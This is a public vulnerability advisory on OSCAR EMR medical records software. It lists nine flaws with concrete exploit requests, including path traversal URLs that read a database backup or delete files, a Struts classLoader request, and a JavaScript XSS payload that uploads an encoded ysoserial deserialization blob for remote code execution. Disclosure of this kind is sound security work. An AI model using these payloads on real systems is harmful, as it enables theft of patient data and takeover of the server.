Title: Multiple vulnerabilities in OSCAR EMR Product: OSCAR EMR Vendor: Oscar McMaster Tested version: 15.21beta361 Remediation status: Unknown Reported by: Brian D. Hysell ----- Product Description: "OSCAR is open-source Electronic Medical Record (EMR) software that was first developed at McMaster University by Dr. David Chan. It is continuously enriched by contributions from OSCAR users and the Charter OSCAR Service Providers that support them. OSCAR has been certified by OntarioMD, and verified as IHE compliant, achievements made possible by the creation and success of OSCAR EMRas ISO 13485:2003 certified Quality Management System." ----- Timeline: 29 Mar 2016 - Vendor contacted 29 Mar 2016 - Vendor responded 29 Apr 2016 - Vendor contacted for permission to share redacted report with third party 02 May 2016 - Vendor responded 17 Jan 2017 - Lead developer contacted (no response) 01 Jul 2018 - Vendor and lead developer contacted for follow-up, informed of intended 15 Aug disclosure (no response) 12 Aug 2018 - Alternate email address attempted for lead developer (no response) 15 Aug 2018 - Vulnerabilities publicly disclosed ----- Contents: This report uses OVE identifiers: http://www.openwall.com/ove/ OVE-20160329-0001: Database backup disclosure or denial of service via insecure dependency OVE-20160329-0003: Remote code execution via unsafe object deserialization OVE-20160329-0004: Stored cross-site scripting (XSS) vulnerability in security report interface OVE-20160329-0007: SQL injection OVE-20160329-0008: Path traversal OVE-20160329-0002: Insecure direct object reference in document manager OVE-20160329-0005: Denial of service via resource exhaustion OVE-20160329-0006: Insecure password storage OVE-20160329-0009: Cross-site request forgery ----- Issue details: === OVE-20160329-0001: Database backup disclosure or denial of service via insecure dependency === OSCAR uses a version of Apache Struts, 1.2.7, which is vulnerable to CVE-2014-0114. An authenticated user can issue the following request with different / omitted cookie headers: /oscar/login.do?class.classLoader.resources.dirContext.docBase=/var/lib/tomcat7/webapps/OscarDocument/oscar_mcmaster Consequently, he or she can access (using a valid session cookie), e.g., /oscar/OscarBackup.sql.gz An unauthenticated attacker is prevented from doing likewise by the aLoginFiltera servlet filter, but can still carry out a denial-of-service attack impeding any access to the application until Tomcat is restarted by issuing a request like the following: /oscar/login.do?class.classLoader.resources.dirContext.docBase=invalid === OVE-20160329-0003: Remote code execution via unsafe object deserialization === TraceabilityReportProcessor deserializes user-provided data, allowing remote code execution given the presence of known-vulnerable libraries in the classpath such as ROME 1.0. This functionality is only available to administrators but can be exploited via XSS (OVE-20160329-0004) or CSRF (issue 9) using a payload generated with ysoserial. In the tested configuration PMmodule/GenericIntake/ImportForm.jsp is inaccessible due to the following exception aorg.springframework.beans.factory.NoSuchBeanDefinitionException: No bean named 'oscarSecurityManager' is defineda, but were it to be accessible, it would be vulnerable as well. === OVE-20160329-0004: Stored cross-site scripting (XSS) vulnerability in security report interface === logReport.jsp, in general, does not escape data it outputs to the page; in particular, on line 283, prop.getProperty("contentId") is printed unescaped. As a result, if an attacker includes Javascript in his or her username during a login attempt, it will be executed if an administrator views the Security Log Report for that timeframe. The text printed in the "Keyword" column is cut off at 80 characters, but that is more than enough to load an externally-hosted script, such as the following script exploiting the deserialization RCE OVE-20160329-0003: var decodedBase64 = atob("H4sIAJ8881YAA61WzW8bRRR/YyfexHWaJs1Xm6ZNSUvdtN3NR5M0uKJt0qZ1cEhFQnvwwYzXU2fDene7O5tsOHBA4sIBCcGFfwAOtIdKCBCVkCrEBU5InEBFXOBGOVRFXPh4M+vEbhJiU7rSvtl9895v3rz35s279Ss0ei60LdMVqvrcMNUr1Fuao06j8v29L7te+TYKkRmImzYtzFCd224amvmSy7wl2ywEzrnzIJ/VJiQR8SJYUrdLqudbqrdmFQydcsO21BuMFVSj5JjqfH6Z6XyKUeuN95UfVxrem41ANAO7c7ppW4zmTSbmOJzKII6GOFoVjiZwNIGjTVeLpzKwK8du+tT0Qu3BGtqXNmRRtSXH7QXuGlYxVD5ZQ3mxSjoVOLjnEzvv+TFb79O7X43Ov7oagUgG2nJG0bJddtW1HeZyg3kcWjMiHJoIh7bAOBrYkLPzyxzawwmTWkUtdGO4+sFK+KZt00Q+Lu8duVRy+BoCdD5y+z6OfpPEAKH4TXgdwySoIkgC9Z9bt952iyp1qL7E1IDiMqphceZa1FQDz+S6yl0aqIsMt0Q589I4Nl+fv2fd+mg0CrE0+tGwCsziL/qlPMNU2Z1DBcszGU8jP8hCPJdf40y3C2Kb0Wx2KgsxjDv18Lc9W7W7acHDjTfmLFpij+889H1K+M72uePzat91Vfmuwkc3iTT9Gx/flQu/8Oe+zmLxhwnpE5G4yI9kp2497P4j1rT4U5kde/Prvz7/AqeH4UwcovCMAuMKHFXgWQJ7POYa1LzGXA+9/XL6IgEyS6BlGl3PMYuuUdNnjbf73334zv3fnicQO2tYBsePaPL4NQIN0+gFgrE2LBb6a1EkCMGt2jrCUgTH/zKzgS8ZHoG9C9zPL5Z9epWuiXNJIJG2LOZKlzEUGsuseXZonOaEMl7okMu0UGTcO7INSorgwRasG7ZbIuAmN44A5oQW5oQmc0JbzwlN5oR2cX4uld1WumRWZEN7jNeYiykdfspDcoVaBZO5KeGSpoKt+yXMH1J1+OtZHlWXQhzc/tT/N4ZA/FKgM0ceIwWOEfjgv/mjpgUFXtIuLs5dCAwvjSyKlbW2Ul0+NMpwIg+exAoCStmXBC48DU8u2L6rsxlDpHGinIGqOKQJiMMuBZIERp8gYQmcrzcirm9xo8S0C3kPU1zn60gEOmSxMOyK8fK0TdaLvI60kS0EDtXYC4borG6WS0Fbpaq9FBqpwCD6DAXL/wQ6k8czW8RSCTgJp+JwAlQERBOY0z8y1ARDWCpYwHQCx5JbS2Y1EBZHnWGNTcAIjAqg0wQOVmy/uoolZWxybHxyaPz00PjI8JmJEQL9mZ0lUnAY24AooBX47odGiOGoyOagSfIw5EgTyNFwJDg2Dn4K5I4UaUEak0wVdiNNhALQChM4YvmDDpQSyufwjQreZsVRqdgfTpYVxVcndMl5At3Qgxr78Du0UcD2lmHTkrsN7ISEHQwnt4U9AH2yA0IvwiFcvrJAExzf2HQvzgip1g8hSjKfgdY+/AmMXb8j4SJot6CHoQ3HOKpEYAD2QLMvLupuxP5u4zrqFddRpwLdCvQosK/e6+jmL8aDs6XLPU/nOorO2PaW6+dozesHteopDPsJDNQBhVvf3BX968GudTh3TF9Sf/qmNqVvu5zfK2lHVXS7RHQdDg14mFxnlUBQu3+udK6P3uq5+/PvPW2ykcTWClnTYS/Vtk0rJXtIkUjNgbPiQp+QCFSs5urGvV9p7aDyBI5Q6kDDBnc2rLorbn709mzrwIPhzaYJqAOP2yKGQ+ESgvauyAZVkBbJ6BdkQP4LEquQ4B9DtscYvgwAAA=="); var binaryArray = new Uint8Array(new ArrayBuffer(decodedBase64.length)); for(var i = 0; i < binaryArray.length; i++) { binaryArray[i] = decodedBase64.charCodeAt(i); } var payload = new Blob([binaryArray], {type: "application/x-gzip"}); var formData = new FormData(); formData.append("file", payload); formData.append("submit", "Generate"); var xhr = new XMLHttpRequest(); xhr.open("POST", "/oscar/admin/GenerateTraceabilityReportAction.do"); xhr.send(formData); XSS was not a focus of this test; other confirmed or likely XSS vulnerabilities are: * Reflected XSS through the errormsg parameter in loginfailed.jsp * Reflected XSS through the signatureRequestId parameter in tabletSignature.jsp * Reflected XSS through the noteId parameter, line 1562 in CaseManagementViewAction (untested) * Reflected XSS through the pdfName parameter when an exception has been thrown, line 1174 in ManageDocumentAction (untested) * Reflected XSS through the pharmaName and pharmaFax parameters, line 149 in FrmCustomedPDFServlet (untested) * Reflected XSS through the id and followupValue parameters, line 81 in EctAddShortMeasurementAction (untested) === OVE-20160329-0007: SQL injection === On line 239 of oscarMDS/PatientSearch.jsp, the orderby parameter is concatenated into an SQL statement rather than parameterized; likewise the content parameter on lines 217, 223, and 229 of admin/logReport.jsp. In both cases these errors result in error-based SQL injection vulnerabilities; the former allows authenticated users with access to oscarMDS/PatientSearch.jsp to access information beyond their privilege levels while the latter is accessible only to administrators. === OVE-20160329-0008: Path traversal === ImportLogDownloadAction reads and outputs an arbitrary absolute file path provided by the user; DelImageAction deletes a user-specified filename without accounting for the possibility of relative path traversal (i.e., the inclusion of "../" in the filename). Any authenticated user can exploit the former issue to steal files from the system, e.g., /oscar/form/importLogDownload.do?importlog=/var/lib/tomcat7/webapps/OscarDocument/oscar_mcmaster/OscarBackup.sql.gz An authenticated user with access to eforms can delete files writeable by the Tomcat user, e.g., /oscar/eform/deleteImage.do?filename=../../../../oscar/index.jsp === OVE-20160329-0002: Insecure direct object reference in document manager === ManageDocumentAction.display() does not check the permissions associated with the requested document ID (doc_no) before providing it to the requesting user. Given /oscar/dms/ManageDocument.do?method=display&doc_no=X&providerNo=Y, a user with access to the document management interface can view arbitrary documents by incrementing or decrementing X, regardless of whether they have been marked private. === OVE-20160329-0005: Denial of service via resource exhaustion === uploadSignature.jsp, which is accessible to and operable by unauthenticated users, saves uploaded files to a temporary directory but never deletes them. An attacker can upload many junk files and eventually consume all disk space available to the /tmp directory, impeding access to the application depending on the functionality in question and the partition layout of the host system (the effects are crippling and pervasive if /tmp is on the same partition as /; they are much less so if /tmp is on a separate partition). === OVE-20160329-0006: Insecure password storage === Passwords are stored as SHA-1 hashes; unless unusually complex, passwords stored in that manner are typically easily recoverable with a tool such as oclHashcat. In OSCAR each hash is stored as a string of decimal numbers, rather than hexadecimal or raw bytes. This somewhat non-traditional representation adds a bit of programming work to the cracking process, but does not represent a major impediment to attack. === OVE-20160329-0009: Cross-site request forgery === The application lacks protection against cross-site request forgery attacks. A CSRF attack could be used against an administrator to exploit the deserialization RCE in a manner similar to the example provided with OVE-20160329-0004.